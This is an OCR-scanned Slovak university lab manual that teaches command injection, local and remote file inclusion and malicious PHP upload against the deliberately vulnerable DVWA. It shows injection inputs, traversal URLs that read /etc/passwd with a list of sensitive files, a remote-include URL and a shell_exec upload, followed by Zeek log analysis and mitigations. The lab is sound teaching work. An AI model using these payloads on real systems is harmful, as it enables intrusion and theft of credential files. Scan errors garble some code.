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Instrukcie a scenar

V tomto cvieni vykonate tri webové Utoky a to Command Execution, File Inclusion a File Upload. V3etky tieto
utoky budd mierené na aplikdciu DVWA, ktord sa nachadza na zariadeni Metaspoitable. Pri Command
Execution Utoku budete analyzovat zranitelny zdrojovy kdd a identifikujte jeho slabinu. Nasledne si vyskusate
ako je mozné danu zranitelnost zneuzZit z pohladu Gtoc¢nika a vykonat samotny Utok.

Dalsi Gtok na ktory sa pozriete bude File Inclusion, ktory sa deli na Local a Remote. Pri Local File Inclusion
najskor vykonate analyzu kédu, najdete zranitelnost a potom prejdete k samotnému Gtoku. Pre Remote File
Inclusion si najskor nastavite potrebné serverové nalezitosti zariadenia Metaspoitable, aby bolo mozné dany
utok zrealizovat, a potom si vyskisate samotny utok.

Nakoniec prejdete k Utoku File Upload, pri ktorom vykonate najskor test funkcionality pre nahrdvanie suborov
a nasledne sa naudite zneuzit zranitelnd funkcionalitu.

V zévere cvitenia budete identifikovat a analyzovat dané typy Utokov z logovacich siborov nastroja Zeek,
ktory budete mat zapnuty na monitorovacom rozhrani zariadenia Security Onion pocas vsetkych Gtokov, ktoré
vykonate v prvej Casti cvienia. Nakoniec sa dozviete aj ako je moziné predist jednotlivym zranitelnostiam
webovej aplikacie.

Damn Vulnerable Web Application (DVWA) je webova aplikacia PHP/MySQL, ktora je vysoko zranitelna. DVWA
je pomockou pre bezpecnostnych profesiondlov pri testovani ich schopnosti a nastrojov v legalnom prostredi
(teda prostredi kde je to povolené), pomdct webovym vyvojarom lepsSie pochopit procesy zabezpeclenia
webovych aplikacii a pomoct Studentom dozvediet sa o bezpecnosti webovych aplikacii v kontrolovanom
laboratérnom prostredi. Cieflom DVWA je precvicit si niektoré z najbeznejSich webovych zranitelnosti s
roznymi Uroviami obtiaznosti. Tvorcovia upozoriuju, Ze tento softvér ma zdokumentované aj
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nezdokumentované zranitelnosti a Ze je to zdmer, a odporucaju pouzivatelom objavit ¢o najviac problémov
a zranitelnosti.

Poziadavky

e Topoldgia v GNS3 alebo vo VirtualBox-e
o Skolska OpenVPN alebo pripojenie z laboratéria na KIS (v pripade prace na vzdialenom serveri)

Pouzivatelia
Nazov Meno Heslo
KaLl Linux
kali kali
METASPLOITABLE
msfadmin msfadmin
SECURITY ONION
analyst cyberops
CYBEROPS WORKSTATION
analyst cyberops

Cast 0: Zapnite Zeek na Security Onion-e

V Casti 2. budete analyzovat logy z nastroja Zeek, preto je potrebné aby ste si pred vykonanim ¢asti 1 zapli
Zeek, na zariadeni Security Onion. Z nastrojom Zeek ste sa naucili pracovat na predoslych cvi¢eniach, preto len
na zopakovanie: kedZe budete analyzovat utoky, ktoré budd smerované na Metasploitable, vyuZijete ,port-
mirroring”, ktory mate nakonfigurovany a monitorovat budete rozhranie eth0. Pre zapnutie Zeek-a na tomto
rozhrani, pouzite prikaz: zeek -i ethO.

Upozornenie: Ak pracujete vo VirtualBox-e, tak analyzu vykondavate na Kali Linux-e, kde budete mat zapnuty
wireshark pocas Casti 1., a po jej ukonéeni, budete analyzovat tie isté body, ktoré st spomenuté v éasti 2.

Cast 1: Command Execution

Command Execution alebo Command injection je utok, ktorého ciefom je vykonavanie [ubovolnych prikazov
na hostitelskom operaénom systéme prostrednictvom zranitelnej aplikdcie. Command injection utoky su
mozné vtedy, ked aplikacia odovzdd pouZivatelom zadané nebezpecné udaje (formulare, subory cookie,
hlavicky HTTP atd’) do systémového shell-u.

1. Zo zariadenia Kali Linux sa prihlaste do aplikacie DVWA na serveri Metasploitable
a. Otvorime webovy prehliadac Firefox na zariadeni Kali Linux
i. Zaddme URL do prehliadaca: 192.168.3.2/dvwa/

e Upozornenie: V pripade, Ze pracujete vo VirtualBox-e, tak zadavate vasu IP
adresu pre Metasploitable. Takto urobte aj v dalSich krokoch v tomto
cviceni, ked'sa bude pracovat s IP adresou pre Metaspolitable.

ii. Nasledne sa prihlasime do aplikacie:
e Meno: admin
e Heslo: password
iii. Nastavime security level na low:
e Klikneme na DVWA Security
e Vyberieme zo ScrollBoxu ,low” a ddme Submit

Vytvorené v ramci projektu KEGA 026TUKE-4/2021 Katedra informacnych sieti, FRI, UNIZA



RBI / LAB 07 / Webové utoky Command Execution, File Inclusion a File Upload

2. Command Execution - Analyza
a. Vaplikacii kliknite na Command Execution

i. Dana funkcionalita na stranke umoznuje vykonat prikaz ping na cielovu IP adresu,
ktoru vloZzime ako vstup. Zadajte hocijaku platnu IP adresu do pola a klikne na
tladidlo submit. Aplikacia vam odpovie vystupom v ktorom by ste mali vidiet, Ze ping
bol Uspesny

ii. Kliknite v pravo dole na tlacidlo View Source, pomocou ktorého si zobrazite zdrojovy
kéd, ktory vyzera nasledovne:

<7php
if( isset( $_POST[ 'submit® ] ) ) {

Starget = $_REQUEST[ 'ip' 1;

if (stristr(php_uname('s"), 'Windows NT')) {
scmd = shell exec( 'ping Starget );
echo '=pre>'.s$cmd. "</pre=";
P else {
scmd = shell_exec( 'ping -c 3 ' . &target );
echo '=pre>'.s$cmd. "</pre=";
}
}
T

iii. Vidime, Ze kéd nekontroluje, ¢&i sa Starget zhoduje s IP adresou. Kéd nevykonava
Ziadne filtrovanie na $pecidlne znaky a vstup, a teda vstup ktory pride od pouZivatela
je spusteny v shell-y Linuxu, preto je mozné vykonat command execution Utok
3. Command Execution - Utok
i. Znak ; v Unix/Linux umozriuje oddelenie prikazov. Zadajte do pola nasledovny prikaz:
® 127.0.0.1; 1s -la /root
e Vstup potvrdite cez tlacidlo submit
ii. Aky vystup ste obdrzali tento krat a preco? Co znamend prikaz, ktory je za
bodkociarkou a aké riziko v tom vidite, resp. v dalSom moZnom pokracovani
prikazov?

Cast 2: File Inclusion

Remote File Inclusion (RF1) a Local File Inclusion (LFI) su zranitelnosti, ktoré sa ¢asto vyskytuju v zle napisanych
webovych aplikaciach. Tieto chyby zabezpecenia sa vyskytuju, ked webova aplikacia umoznuje pouzivatelovi
odosielat vstupy do stuborov, alebo odovzdavat sibory na server. Zranitelnost LFI umozZiiuje Utoc¢nikovi Citat (a
niekedy aj spustat) subory na serveri obete. To mdze byt velmi nebezpecné, pretoze ak je webovy server
nespravne nakonfigurovany, a bezi s vysokymi oprdvneniami, Gto¢nik moze ziskat pristup k citlivym
informaciam. Ak je uto¢nik schopny umiestnit kéd na webovy server inymi prostriedkami, moze byt schopny
vykonavat lubovolné prikazy. Zranitelnost RFI sa da lahSie zneuzZit, ale menej ¢asto. Namiesto pristupu k
suboru na lokalnom pocita¢i méze Gtolnik spustit kdd, ktory je nahraty na vzdialenom serveri.
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1. File Inclusion - Analyza
a. V aplikacii kliknite na File Inclusion
b. Kliknite vpravo dole na tladidlo View Source, pomocou ktorého si zobrazite zdrojovy kéd,
ktory vyzera nasledovne:

<?php
t$file = $ GET['page’];

=

c. Tato ¢ast kddu sama o sebe v skutocnosti nie je zranitelnd, takze treba hladat na inom
mieste. Pre bezného Utocnika, ktory eSte nema root pristup k pocitacu, to moze byt miesto,
kde sa ich prieskum konéi. Premennd S_GET je vsak dostato¢ne zaujimava na to, aby zadali
testovat alebo skenovat moznost zahrnutia siboru. KedZe mame root pristup k zariadeniu
Metasploitable, méZzeme zistit teda skuto¢nu pricinu zranitelnosti.

d. Zo zariadenia CyberOps Workstation sa prihlaste cez SSH na Metasploitable pomocou
prikazu:

i. ssh msfadmin@192.168.3.2
ii. Heslo zadajte: msfadmin
e. PoutZite cat na zobrazenie index.php v adresari /var/www/dvwa/vulnerabilities/fi/

msfadmin:

f.  Pri pohlade na vystup vidime, Ze na riadku 15 je prikaz switch, ktory berie nastavenie
zabezpecenia ako vstup a prerusuje sa v zdvislosti od toho, ktoré nastavenie sa poutzije.
KedZe sme vybrali , low”, kéd pokracuje vo volani siboru /source/low.php. Ak sa
pozrieme niZsie v index.php, vidime, Ze riadok 35 hovori:

include($file);

g. Atusme nasli priinu zranitelnosti. Tento kdd je zranitelny, pretoze neexistuje Ziadna
filtracia vstupu dodaného pouZivatelom. Konkrétne, premenna $file nie je filtrovana pred
nebezpecnym vstupom - pred volanim funkcie include().

h. Ak md webovy server pristup k poZzadovanému suboru, spusti sa akykolvek PHP kod
obsiahnuty vo vnutri. Akykolvek kéd v stibore, ktory nie je PHP, sa zobrazi v prehliadaci
pouzivatela.

i. Teraz, ked sme pochopili, ako sa méze vyskytnut zranitelnost pre file inclusion, vyuzijeme ju
na stranke include.php.

2. Local File Inclusion (LFI) - utok

a. Do panela s adresou prehliadaca zadajte nasledovné:
http://192.168.3.2/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

b. Znaky,../” pouZité vo vyssie uvedenom priklade predstavuju prechod cez adresar. Pocet
sekvencii ,,../“ zavisi od konfiguracie a umiestnenia cielového webového servera na pocitaci.
c. Vidime, Ze obsah /etc/passwd je zobrazeny na obrazovke. Tymto sp6sobom mozno ziskat
vela uZitoénych informécii o hostitelovi. Niektoré zaujimavé subory, ktoré treba hladat,
zahffaju, ale nie si obmedzené na:
/etc/issue, /proc/version, /etc/profile, /etc/passwd, /etc/passwd,
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/etc/shadow, /root/.bash history, /var/log/dmessage, /var/mail/root,
/var/spool/cron/crontabs/root

¢J Damn Vulnerable Web +

O A& 19216832

W

KaliLinux # KaliTools = KaliDocs ¥/ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

root:x:0:0:root:froot:/bin/bash daemon:x:1: 1:daemon:fusr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh syso:3:3:sys:/devi/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
fbinfsh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:ivar/spool/pd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:var/spoolinews:/bin/sh uucp:x:10:10:uucp:ivar/spool/uucp:
fbin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/variwww:/bin/sh backup:x:34:34:backup:ivar/backups:/bin/sh list:x:38:38:Mailing List Manager:ivar/list:/bin/sh
irc:x:39:3%circd:varfrun/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):fvarflib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:fbin/sh libuuid:x:100:101::fvar
flibflibuuid:/bin/sh dhcp:x:101:102:/nonexistent:/binffalse syslog:x:102:103::/homefsyslog:/binffalse klog:x:103:104::/homefkiog:/binfalse sshd:x:104:65534 ivar/run/sshd:fusr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,, /nome/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/binfalse postfix:x:106:115::/var/spool/postiix:/binffalse ftp:x:107:65534::/homefftp:/bin/false
postgres::108:117:PostgreSQL administrator,,,.fvar/lib/postgresql:/bin/bash mysgl:x:109:118:MySQL Server,,,/varfib/mysql:/bin/false tomcat55:x:110:65534:/usr/share/tomcats.5:

proftpd:x:113:65534 fvar/run/profipd:/binffalse statd:x:114:65534::/varflib/infs:/binfalse analyst:x:1003:1003:Security Analyst,,,;/nome/analyst:/bin/bash
Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in varfwwwidvwald lincludes/dvwaPage.inc.php on line 324

Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in varfwwwidvwald lincludes/dvwaPage.inc.php on line 325

Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in ivariwwwidvwaldvwalincludes/dvwaPage.inc.php on line 326

Home |

Instructions |

Setup |

Brute Force

Command Execution

CSRF

SQL Injection

3. Remote File Inclusion (RFl) — Analyza a Priprava
a. Téato Cast ukazky vyZaduje urcité pociatoéné nastavenie. VyuZijeme to ako prilezitost na
rozvoj niektorych zruénosti v prikazovom riadku OS Linux a PHP
b. Aby bolo RFI Gspesné, je potrebné nastavit dve funkcie v konfiguracnom subore PHP:
i. allow_url_fopen a allow_url_include musia byt zapnuté. Z dokumentacie PHP
mozeme vidiet, ¢o tieto konfiguracie robia:

e allow_url_fopen — ,Tato moZnost povoli funkciu fopen s podporou URL,
ktora umoznuje pristup k objektom URL, ako su subory. Predvolené funkcie
su poskytované na pristup k vzdialenym siborom pomocou protokolu ftp
alebo http, niektoré rozsirenia ako z1ib mbzu registrovat dalsie funkcie.

e allow_url_include —, Tdto moznost umozZiiuje pouzitie fopen funkcie s
podporou URL s nasledujucimi funkciami: include, include once,
required, require once

c. Ak chcete najst konfiguraény sibor DVWA, kliknite na kartu ,,PHP Info“ na favom paneli.
Tento dokument ndm poskytuje velké mnozstvo uZito¢nych informdcii vratane verzie PHP,
operacného systému a aj konfigura¢ného suboru. Vidime, Ze nacitany subor je
/etc/php5/cgi/php.ini:
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PHP Version 5.2.4-2ubuntu5.10 _ PhP

System Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13;58:00
UTC 2008 i686

Build Date lan 6§ 2010 21:50:12

Server API CGI/FastCal

Virtual Directory disabled

Support

Configuration File fetcfphpSicgi

{(php.ini) Path

Loaded Configuration |/etc/php5/cgifphp.ini
File

Scan this dir for fetc/php5icgifconf.d
additional .ini files

additional .ini files fetc/phpSicgifconf digd.ini, fetc/phpSicgi/conf.dimysgl.ini, fetc/phps

parsed fegifconf.dfmysqgli.ini, fetcfphpSicgifconf d/pdo.ini, fetc/phps
fegifconf.dfpde_mysgl.ini

PHP API 20041225

PHP Extension 20060613

Zend Extension 220080519

Debug Build no

Thread Safety disabled

Zend Memory enabled

Manager

IPv6 Support enabled

Registered PHP zip, php. file, data, http, ftp, compress.bzip2, compress.zlib, https,

Streams ftps

Registered Stream tep, udp, unix, udg, ssl, ss3, sshv2, tls

Socket Transports

Registered Stream string.rotl3, string.toupper, string.tolower, string.strip_tags,

Filters convert. ¥, consumed, convert.iconv.® bzip2.*, zlib *

This server is protected with the Suhosin Patch 0.9.6.2 AL = A

Copyright (c) 2006 Hardened-PHP Project -—,—_Q £

This program makes use of the Zend Scripting Language Engine: Powered By

Zend Engine v2,2.0, Copyright (c) 1998-2007 Zend Technologies

d. Na zariadeni metasploitable m6ézeme otvorit sibor php.ini pomocou nano:

mstadmin:

sudo password:

IM

e. V nano stlacte ,ctrl-w”, aby ste nasli retazec. Zadajte ,allow_url“ a stla¢te Enter. Teraz by
sme mali byt na riadku 573 stuboru php.ini (stlaéte ,ctrl-c, aby ste nasli aktualny riadok v
nano). Uistite sa, Ze hodnoty ,allow_url_fopen“ a ,allow_url_include” su nastavené na
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moznost ,,0n”“. UloZte sibor pomocou ,ctrl-o” a ukonéite pomocou ,,ctrl-x“. Teraz restartujte
webovy server Metasploitable pomocou:

msfadmin:

4. Remote File Inclusion (RFI) — Utok
a. V Kali si musime nastavit vlastny webovy server na testovanie. Najprv vytvorte testovaci
subor s ndzvom rfi-test.php a potom spustite Apache.
i. Zadajte do suboru rfi-test.php nasledovny obsah: Remote File Inclusion Test
ii. Spustite Apache server

rootgkali :~#

b. Teraz méZieme otestovat nas RFI Utok. Na stranke ,File Inclusion” zadajte nasledujicu adresu

URL:

http://192.168.3.2/dvwa/vulnerabilities/fi/?page=http://192.168.2.2/rfi-
test.php

<« C @ O A& 192.168.3.2/dvwa/vulnerabilities/fi/?page=http:/[192.168.2.2/rfi-test.php w

KaliLinux #8 KaliTools < KaliDocs N Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

Remote File Inclusion Test
Warning: Cannot modify header information - headers already sent by (output started at http://192.168.2.2/rfi-test.php:2) in i Page.inc.php

Warning: Cannot modify header information - headers already sent by (output started at http://192.168.2.2/rfi-test.php:2) in Id includes/dvwaPage.inc.php

'

Warning: Cannot modify header information - headers already sent by (output started at http://192.168.2.2/rfi-test.php:2) in ivariwww/dvwaldvwal/includes/dvwaPage.inc.php

Home ‘

Instructions ‘

Setup J

Brute Force

Command Execution

|
|
CSRF |
}
|

l

SOL Iniection

c. Zvystupu zobrazeného v hornej Casti prehliadaca mbzeme vidiet, Ze stranka je skuto¢ne
zranitelnd voci RFI (zobrazil sa ndm obsah nasho PHP suboru).

Cast 3: File Upload

Kedykolvek webova aplikacia umoziiuje nahrat akykolvek iny sibor na server (iny ako ten, ktory je tam
uvedeny), hovorime, Ze ide o chybu zabezpecenia, alebo problém s nahravanim Skodlivého suboru.
Predpokladajme, Ze webova aplikdcia ma funkciu nahravania stiborov, a je povolené nahravat iba subory s
priponou jpeg a png. Ked' je Uto¢nik schopny nahrat akykolvek iny subor, ako napriklad php, jsp, aspx, html,
shtml atd'., alebo dokonca akykolvek stubor s dvojitou priponou, ako napriklad php.jpeg, asp.png, aspx.txt atd",
v aplikacii sa nachadza file upload zranitelnost.

1. File Upload - Uvod
a. V aplikacii kliknite na Upload
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b. Nachddzame sa na stranke vyzvy pre nahratie obrazka. Najprv skontrolujeme funkcionalitu a
potom pristupime k exploita¢nej ¢asti. Nahrajte jednoduchy obrazok a skontrolujte, kam sa
nahrava. V tomto priklade je pouzity obrazok z Kali Linux. Adresar a konkrétny nazov
obrazka: /var/lib/inetsim/http/fakefiles/sample.jpg

A 192.168.3.2

i Docs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Vulnerability: File Upload

Choose an image to upload:
|. Browse... | Mo file selected.

| Upload |

../ ../hackable/uploads/sample. jpg succesfully uploaded!

More info

c. Nassuborsanahradoadresdra ../../hackable/uploads/. Na uvedenej snimke
obrazovky, vo vypise adresara, do ktorého sa stbor nahral, ¢ast . . /. ./ predstavuje dva
adresare nad aktudlnym adresarom. Cesta k nahranému priecinku je teda
http://192.168.3.2/dvwa/hackable/uploads/. SUbor sample.jpg moZete vidiet
na obrdzku nizsie.

O & 192168.3.2

ot

Kali Linux #& Kali Tools = KaliDocs M Kali Forums ¢\ Kali NetHunter Exploit-DB

Index of /dvwa/hackable/uploads

Name Last modified Size Description

& Parent Directory, -
dvwa email.png 16-Mar-2010 01:56 667
sample.jpg 05-Nov-2022 09:55 4.1K

Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.3.2 Port 80
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O A& 192168.3.2

b Kali Docs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

This is the
INetSim
default image

2. File Upload - Exploitacia
a. Vytvorte a nahrajte Skodlivy subor malicious.php z Kali Linux, s nasledujicim obsahom:

<?php
echo "If you see this means, this file has been executed";
$output = shell_exec('ls -1a');

echo "<pre>$output</pre>";

ES

192.168.3.2

cs M Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB 0

o)

Vulnerability: File Upload

Choose an image to upload:
[Browme“.Jandou&php

[Upmad]

../../hackable/uploads/malicious.php succesfully uploaded!

b. Knahranému suboru je mozné pristupovat pomocou adresy URL
http://192.168.3.2/dvwa/hackable/uploads/malicious.php. Ako mdZete vidiet,
po pristupe na subor, sa vam zobrazi vystup prikazu ,lIs -la” a tieZ text, ktory bol zadany
taktieZ do suboru

N O & 19276832

KaliLlinux #8 KaliTools = KaliDocs ® Kali Forums e\ Kali NetHunter Exploit-DB

If you see this, it means, this file has been executed

total 16

druxr-xr-x 2 www-data www-data 4096 Nov 5 18:22 .

druxr-xr-x 4 www-data www-data 4096 May 20 2012 ..

-rw-r--r-- 1 www-data www-data 667 Mar 16 2018 dvwa email.png
STW-- - 1 www-data www-data 136 Nov 5 18:22 malicious.php
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RBI / LAB 07 / Webové utoky Command Execution, File Inclusion a File Upload

Cast 4: Analyza Webovych Utokov

V tejto Casti si prezriete a budete analyzovat Zeek logy, ktoré boli generované pocas utokov, ktoré ste
vykonali v ¢asti 1. Ak mate este stale zapnuty Zeek, a nevypli ste ho po tom ako ste dokoncili predoslé ¢asti,
urobte tak teraz.

Upozornenie: Ak pracujete vo VirtualBox-e, tak analyzu spravite v nastroji Wireshark na zariadeni Kali Linux.

1. Prezrite si Zeek logy, vykonajte ich analyzu a odpovedzte na otazky

a. V ktorom z logovacich stuborov su najdélezitejsie informacie, z ktorych mozete vycitat najviac
ohladom zrealizovanych uUtokov?

b. Najdite v logovacom subore http.log poZiadavky, ktoré boli zrealizované po¢as Command
Execution Utoku.

c. N3jdite v logovacom subore http.log poziadavky, ktoré boli zrealizované pocas File Inclusion
utoku. Identifikujte miesta v URL, kde boli vlozené payload-y pre local file inclusion a remote
file inclusion, z predoslych casti.

d. N3jdite v logovacom subore http.log poziadavky, ktoré boli zrealizované pocas File Upload
utoku. Najdite taktiez poziadavky na server, v ktorych:

i. Bol uloZeny skodlivy subor na server
ii. Bol skodlivy subor vyZiadany

Zaver

V tomto cviceni sme si ukdzali na praktickej ukazke ako vyzeraju webové Utoky Command Execution, File
Inclusion a File Upload.

Pre oSetrenie Command Execution utoku, je potrebné zaviest filtre a funkcie do kédu aplikacie, ktoré zabrania
tomu, aby aplikacia spustala kod, ktory je ako vstupom od pouZivatela. Teda je dbleZité najskor validovat dany
vstup a potom na strane aplikacie ho taktieZ sanitizovat o pripadné nebezpecné znaky.

Pre File Inclusion sa odporudéa bezpecne analyzovat nazvy stiborov dodanych pouZivatelom. Je lepsie udrziavat
zoznam povolenych nazvov suborov a na pristup k stiboru pouZit zodpovedajuci identifikator (nie skutoény
nazov). Akakolvek Ziadost obsahujlca neplatny identifikdtor méze byt potom jednoducho zamietnuta.

Pre oSetrenie File Upload zranitelnosti sa odporuca
e Povolit iba $pecifické pripony stiborov.
e Povolit pouzivanie funkcionality iba autorizovanym a overenym pouZivatelom.
e Skontrolovat obsah kazdého suboru nacitaného z webu.
e  Uistit sa, Ze je to skuto¢ne obrazok alebo akykolvek typ suboru, ktory oéakavame.
e Ukladat subory do neverejného adresara, ak je to mozné.

Ukazali sme si ako je mozné identifikovat webové Utoky, analyzovat ich a taktiez hladat a odhalit priciny ich
vzniku. Z pohladu analytika je velmi dblezité aby sa vcas prislo na miesta Utokov a na typy utokov, ktoré sa
pouzivaju, aby sa im vedelo v ¢o najkratSom Case zabranit a aj predchddzat do buducna.
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